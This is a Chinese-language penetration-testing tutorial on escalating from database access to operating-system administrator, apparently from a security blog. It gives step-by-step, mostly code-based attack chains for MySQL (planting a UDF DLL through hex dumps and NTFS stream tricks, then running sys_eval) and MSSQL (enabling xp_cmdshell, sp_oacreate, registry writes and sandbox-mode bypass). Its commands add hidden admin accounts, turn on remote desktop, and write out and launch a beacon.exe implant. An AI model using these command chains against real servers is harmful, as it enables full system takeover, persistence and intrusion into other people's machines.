应用程序提权

MySQL提权

利用场景

目标主机开启MySQL远程连接,并且攻击者已经获得MySQL数据库连接的用户名和密码信息,通过UDF手工提权获得操作系统管理员权限。

  1. 拥有数据库账号密码,可以远程连接数据
  2. 拥有Webshell,可以连接数据库
  3. 能够写文件
  4. 可以操作数据库

如何获取数据库账号密码?

  1. 找数据库配置文件
  2. 通过Webshell对数据库进行本地爆破
  3. Hash获取MySQL密码

UDF提权简介

  • UDF提权

UDF提权指的是利用注入漏洞或其他漏洞获取了数据库操作权限后,通过数据库输出具有提权功能的
文件并执行提权操作。

  • UDF介绍

UDF: User Defined Function (用户自定义函数),为用户提供了一种高效创建函数的方式攻击者编写调用系统cmd命令(linux下相当于调用shell命令)的udf.dll文件,并将udf.dll导出到指定目录下,攻击者创建一个指向udf.dll的自定义函数func,每次在数据库查询中执行func函数等价于在cmd命令中执行命令。

  • dll文件存放目录

Windows 2003:C:\windows\目录下
MySQL 5.1 版本后:MySQL安装目录\lib\plugin\目录下

udf.dll

lib_mysqludf_sys_32.dll

我们这里会用到 lib_mysqludf_sys_32.dll ,在 Metasploit framework 里面已经有了,你可以在 /usr/share/metasploit-framework/data/exploits/mysql/ 这个目录下选择对应操作系统和架构的 UDF 文件。

https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql

获取dll文件导出函数:

image-20230926224038011

  • sys_exec

该函数将在“系统”函数内传递参数args-> args [0]。你可以使用它在目标机器上执行系统命令。

1
2
3
4
5
6
7
8
# 创建
create function sys_exec returns int soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_exec';

# 删除
drop function sys_exec;
  • sys_eval

该函数将执行系统命令并在屏幕上通过标准输出显示。

安装

1
2
3
4
5
6
7
8
9
10
11
# 创建
create function sys_eval returns string soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_eval';

# 使用
select sys_eval('dir');

# 删除
drop function sys_eval;
  • sys_get

该函数使用getenv函数返回系统变量的值。

安装

1
2
3
4
5
6
7
8
9
10
11
# 创建
create function sys_get returns string soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_get';

# 使用
select sys_get('longonserver');

# 删除
drop function sys_get;
  • sys_bineval

该函数将使用VirtualAlloc API分配RWX内存,并使用strcpy将args-> args [0]复制到新分配的内存中。然后,这个缓冲区被传递给CreateThread API来产生一个新的线程。

1
2
3
4
5
6
7
8
9
10
11
12
# 创建
create function sys_bineval returns int soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_bineval';

# 删除
drop function sys_bineval;

# 使用
select sys_bineval(load_file('C:\\calc.b64'));
select sys_bineval(from_base64(load_file('C:\\calc.b64')));

k8-udf.dll

https://github.com/ym2011/POC-EXP/tree/master/K8/Mysql%E6%8F%90%E6%9D%83

查看dll文件导出函数:

  • 创建函数
1
create function 函数名(区分大小写) returns string soname "dll名" (注意路径);
  • 删除函数
1
delete function 函数名;
  • 使用函数
1
select 函数名(参数列表);
  • 获取参数信息
1
select 函数名("help");
  • dll包含的函数
1
2
3
4
5
6
7
8
9
10
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 关于;

UDF提权步骤

1. 确定操作系统和架构

1
2
3
select @@version_compile_os, @@version_compile_machine;

show variables like '%compile%';

image-20230926230538602

2. 查看MySQL安装路径和版本

1
2
3
show variables like '%char%';
select @@datadir;
select version();

image-20230926230617138

3. 查看plugin目录路径

1
2
select @@plugin_dir;
show variables like '%plugin%';

4. 查看是否有写权限

1
show global variables like '%secure%';

image-20230926230805208

  • MySQL写文件
1
2
3
select '111' into dumpfile 'C:\\1.txt';

select '222' into outfile 'C:\\2.txt';

outfile函数:可以导出多行数据

dumpfile函数:只能导出一行数据

outfile函数:在将数据写到文件里时有特殊的格式转换

dumpfile函数:在将数据写到文件里时保持源数据格式

  • 关于secure-file-priv

MySQL 进行文件导入导出操作时默认会出现如下错误:

1
2
3
mysql> select * from news INTO OUTFILE 'D:/news.log';

1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

其中有一个 –secure-file-priv 参数选项

  • mysql 的 secure_file_priv 参数

secure-file-priv 参数是用来限制 LOAD DATA, SELECT … INTO OUTFILE , and LOAD_FILE()传到哪个指定目录的。

secure-file-priv 的值为 NULL ,表示限制 mysqld 不允许导入、导出

secure-file-priv 的值为 /tmp/,表示限制 mysqld 的导入、导出只能发生在/tmp/目录下

secure-file-priv 的值没有具体值时,表示不对 mysqld 的导入、导出做限制

如何查看 secure-file-priv 参数的值:

1
show global variables like '%secure%';

此开关默认为NULL,即不允许导入导出。

1
2
3
4
5
6
7
8
mysql> show global variables like '%secure%';
+--------------------------+-----------+
| Variable_name | Value |
+--------------------------+-----------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | NULL |
+--------------------------+-----------+

如何设置 secure_file_priv 参数:

Windows: 修改 my.ini 在[mysqld]内加入secure_file_priv=,重启mysql

Linux:修改 my.cnf 在[mysqld]内加入secure_file_priv=,重启mysql

1
2
3
4
5
6
7
8
mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name | Value|
+--------------------------+-------+
| require_secure_transport | OFF |
| secure_auth | ON |
| secure_file_priv | |
+--------------------------+-------+

5. 创建plugin目录

在MySQL5.1以后的环境下只有将udf.dll文件导出到MySQL安装目录\lib\plugin\目录下才能成功,但是很多时候mysql安装目录下并不存在lib目录,mysql文件操作也并不能直接创建目录,此时需要通过NTFS ADS流来创建目录。

1
select 'xxx' into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
  • ADS流

NTFS ADS :全称为NTFS交换数据流(NTFS Alternate Data Streams),是NTFS文件系统的一个特性。NTFS文件系统中的每一个文件可以包括多个数据流,每个文件数据流的完整格式如下:

1
2
3
<filename>:<stream name>:<stream type>

<文件名>:<流名>:<流种类>

只有一个data流时,stream name通常可以省略,stream type也可以成为attribute type。我们通常看到的是文件的data流,其它数据流都处于隐藏状态。当attribute type$INDEX_ALLOCATION 时,表明该该数据流的宿主是文件夹。所以可以通过 mysql 导出数据到directory_path::$INDEX_ALLOCATION文件的方法来创建directory_path目录。

  • $DATA流创建

1.创建宿主文件

1
echo "this is a test file" > test.txt

2.关联数据流

1
echo "this is a ads file" > test.txt:aaa:$data

3.查看test.txt文件,读取正常

1
2
type test.txt
"this is a test file"

4.查看流文件

1
dir /r
1
2
2021/03/05 10:26 24 test.txt
23 test.txt:aaa:$DATA
1
notepad test.txt:aaa

5.流文件无法直接删除,只能删除源文件

1
del /f test.txt
  • 创建隐藏文件
1
type pass.txt > song.mp3:password:$DATA
  • $INDEX_ALLOCATION流创建文件夹
1
echo 123 > hello::$INDEX_ALLOCATION

6. 创建临时表

1
create table udftemp(data BLOB);

BLOB 全称为 Binary Large Objects,即大型二进制对象

或者

1
create table udftemp(data longblob);

7. 将dll内容转为十六进制

可以通过MySQL的hex函数将dll文件二进制数据转为十六进制数据,并保存到udf.txt文件中

1
select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\udf.txt';

当然也可以使用类似010 editor的十六进制编辑器获得十六进制数据

8. 将dll文件内容插入表中

将udf.dll二进制数据插入临时表udftemp中,$binaryCode为udf.txt文件中复制的内容。

1
insert into udftemp(data) values (0x+udf.txt中的值);

9. 将dll导出到plugin目录

将udf.dll导出到MySQL安装目录下的lib/plugin/udf.dll文件中

1
select data from udftemp into dumpfile "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";

10. 创建函数

1
create function sys_eval returns string soname 'udf.dll';

11. 执行命令

1
select sys_eval('whoami');

12. 添加管理员用户

1
2
3
select sys_eval('net user udftest 123456 /add & net localgroup administrators udftest /add');

select sys_eval('net localgroup administrators')

命令执行反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 创建临时表
create table beacon(data longblob);

# 转换beacon.exe二进制内容为十六进制
select hex(load_file('C:\\beacon.exe')) into dumpfile 'C:\\beacon.txt';

# 将16进制beacon文件写入beacon表
insert into beacon(data) values (0x+beacon.txt中的值);

# 写入beacon.exe
select data from beacon into dumpfile "C:\\beacon.exe";

# 利用创建的命令执行函数执行beacon.exe
select sys_eval('start c:\\beacon.exe')

MSF自动利用

1
exploit/multi/mysql/mysql_udf_payload

MSSQL提权

MSSQL角色用户权限

权限等级 角色 描述
1 bulkadmin 可以运行BULK INSERT语句.该语句允许从文本文件中将数据导入到SQL Server22008数据库
2 dbcreator 可以创建,更改,别除和还原任何数据库不仅适合助理DBA角色,也可能适合开发人员角色
3 diskadmin 用于管理磁盘文件,比如镜像数据库和添加备份设备
4 processadmin SQL Server2008可以同时多进程处理,这个角色可以结束进程
5 public 初始状态时没有权限,所有数据库用户都是它的成员
6 securityadmin 管理登录名及其属性.可以授权拒绝和撤销服务器级/数据库级权限.可以重置登录名和密码
7 serveradmin 可以更改服务器范围的配置选项和关闭服务器
8 setupadmin 为需要管理联接服务器和控制启动的存储过程的用户而设计
9 sysadmin 这个角色有权在SQL Server2008中执行任何操作

MSSQL常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 查看数据库版本
select @@version

# 查看数据库系统参数
exec master..xp_msver;

# 查看用户所属角色信息
sp_helpsrvrolemember

# 查看当前数据库
select db_name();

# 查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
select IS_MEMBER('db_owner') #判断是否为dba权限

# 禁用advanced options
exec sp_configure 'show advanced options',0;GO RECONFIGURE;

xp_cmdshell

简介

xp_cmdshell 扩展存储过程,可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。

由于 xp_cmdshell 可以执行任何操作系统命令,所以一旦SQL Server管理员帐号(如sa)被攻破,那么攻击者就可以利用 xp_cmdshell 在 SQL Server 中执行操作系统命令。

注意:

SQL Server 2000 中默认是开启 xp_cmdshell 的
SQL Server 2005 及以上版本中 xp_cmdshell 默认是关闭的

基本使用

  • 基本语法
1
exec master..xp_cmdshell "dos命令";
1
exec master..xp_cmdshell "ver"

提权利用

  1. 判断用户权限

只有 sysadmin 组的用户才能执行 xp_cmdshell

1
select IS_SRVROLEMEMBER ('sysadmin')

返回结果为1表明当前用户在 sysadmin 组

image-20230928115055839

1
and (select IS_SRVROLEMEMBER ('sysadmin'))=1--
  1. 判断是否存在 xp_cmdshell

判断数据库中是否存在 xp_cmdshell 组件,返回结果为1表明组件存在

1
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' 

image-20230928115520762

1
and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
  1. 检测 xp_cmdshell 是否启用

尝试通过 xp_cmdshell 执行命令,检测 xp_cmdshell 是否启用

1
exec master..xp_cmdshell "ver";

image-20230928115819448

如果服务未开启,执行 xp_cmdshell 将会提示如下的内容

1
2
消息 15281,级别 16,状态 1,过程 xp_cmdshell,第 1 行
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
  1. 启用 xp_cmdshell

系统管理员可以通过使用 sp_configure 启用 xp_cmdshell

1
2
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

image-20230928150803097

此时即可通过 xp_cmdshell 执行系统命令

1
2
exec master..xp_cmdshell "ver";
exec master..xp_cmdshell "net user";

image-20230928151138698

  1. 执行系统命令添加用户

创建用户

1
exec master..xp_cmdshell "net user name password /add"

添加用户到管理员组

1
exec master..xp_cmdshell "net localgroup administrators name /add"

sp_oacreate

简介

在 xp_cmdshell 被删除或者出错情况下,可以充分利用 sp_oacreate 进行提权。

利用OLE对象接口,SQL Server 提供了一些函数访问OLE对象,分别是 sp_oacreate 和sp_oamethod,可利用它们调用OLE控件,间接获取一个shell

利用

判断是否存在 sp_oacreate

  1. 判断数据库中是否存在 sp_oacreate 组件,返回结果为1表明组件存在
1
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'sp_oacreate';

image-20230928151656656

  1. 检测 sp_oacreate 是否启用

尝试通过 sp_oacreate 执行命令,检测 sp_oacreate 是否启用

1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user';

image-20230928151717967

如果服务未开启,执行 sp_oacreate 将会提示如下的内容

1
2
消息 15281,级别 16,状态 1,过程 sp_OAMethod,第 1 行
SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程 'sys.sp_OAMethod' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
  1. 启用组件

系统管理员可以通过使用 sp_configure 启用 sp_oacreate

1
2
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ole Automation Procedures',1;reconfigure;

image-20230928151833375

此时即可通过 sp_oacreate 执行系统命令

  1. 添加用户
1
2
3
4
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user zhangsan 123456 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators zhangsan /add'
  1. 执行命令
1
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt' --

wscript.shell

在SQL Server 2008和 SQL Server 2000上都适用

1
2
3
4
5
6
7
8
# 声明一个变量
declare @shell int;

# 使用sp_oacreate调用wscript对象
exec sp_oacreate 'wscript.shell',@shell output;

# 使用sp_oamethod调用变量的属性run执行系统命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';
1
2
3
4
5
6
7
# 添加用户 test/test

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';

# 添加用户到管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add';

Shell.Application

SQL Server 2008不可用,SQL Server 2000可用

1
2
3
# 添加用户 test/test

declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test test /add','c:\windows\system32','','1';

xp_regread

  1. 是否开启远程桌面

1表示关闭,0表示开启

1
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'
  1. 读取远程桌面端口
1
EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'

image-20230928152352037

  1. 开启远程桌面
1
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
  1. 关闭远程桌面
1
EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

沙盒模式

只有windows xp和windows 2003可用

沙盒模式是数据库的一种安全功能,在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。

无法执行命令时,xp_regwrite 可用

  • 启用Ad Hoc Distributed Queries
1
2
3
exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure
  • 读取SandBoxMode[可选]
1
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
1
2
3
4
5
SandBoxMode参数含义(默认是2)
0:在任何使用者中禁止启用安全模式
1:仅在允许范围内
2:必须在access模式下
3:完全开启
  • 关闭沙盒模式
1
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
  • 执行系统命令
1
2
3
4
5
6
7
# 添加用户 test/test
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")');

# 执行whoami命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")');